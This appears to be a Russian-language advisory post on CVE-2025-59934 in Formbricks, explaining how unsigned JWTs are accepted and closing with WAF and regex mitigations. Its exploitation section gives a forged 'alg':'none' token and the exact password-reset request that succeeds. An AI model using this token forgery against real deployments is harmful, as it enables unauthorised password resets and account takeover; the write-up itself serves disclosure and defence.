CVE-2025-59934 — уязвимость в Formbricks, которая связана с процедурой валидации токенов. Она только декодирует JWT без проверки их подписей, что позволяет обходить авторизацию или сбрасывать пароль. Уязвимы версии до 4.0.1.
Formbricks — платформа с открытым исходным кодом для сбора отзывов и управления пользовательским опытом. Имеет более 11 тысяч звезд на github.
🫡 Метрики
Base Score: 9,4 Critical
CWE: 345, 287, 347
🫡 Кратко о JWT
JWT (JSON Web Token) — токен авторизации, который состоит из следующих компонентов:
✅ Header — информация об алгоритме и типе токена;
✅ Payload — полезные данные, например ID пользователя, роли;
✅ Signature — защита от подделки (цифровая подпись).
Всё это кодируется в Base64Url :
xxxxx.yyyyy.zzzzz
🫡 Подробнее
В файле apps/web/lib/jwt.ts до патча существовал такой участок кода:
export const verifyToken = async (token: string): Promise<JwtPayload> => {
// First decode to get the ID
const decoded = jwt.decode(token);
const payload: JwtPayload = decoded as JwtPayload;
if (!payload) {
throw new Error("Token is invalid");
} jwt.decode() не проверяет подпись токена — функция просто берёт base64-данные из токена и превращает их в объект.
То есть если взять любой существующий userId из базы и создать токен вида:
header = {"alg":"none","typ":"JWT"}
payload = {"id":"cmg52lkge0000pd01oq32fjhe"}jwt.decode() его спокойно примет. И если пользователь существует, возвращает валидный JwtPayload.
Другими словами, проверка подлинности (verify) обходится — токен можно «подделать» вручную.
Важно: для атаки необходимо знать user.id. Этот идентификатор хранится в базе данных PostgreSQL.
🫡 Эксплуатация
Создаем JWT вида
base64Encode:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.
base64Decode:
{
"alg": "none",
"typ": "JWT"
}
{
"id": "cmg52lkge0000pd01oq32fjhe"
}Отправляем запрос:
http://localhost:3001/auth/forgot-password/reset?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.
Получает ответ от сервера:
0:{"a":"$@1","f":"","b":"Ap_lGlUnNFOHjKjBaGekh"}
1:{"data":{"success":true}}🫡 Как защищаться
Если на WAF можно декодировать JWT в параметре запроса, то настроить его так, чтобы запросы токенами с
"alg":"none" блокировались.Если такой возможности нет, то можно воспользоваться подобным регулярным выражением, которые бы проверяло целостность JWT
^[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.$.
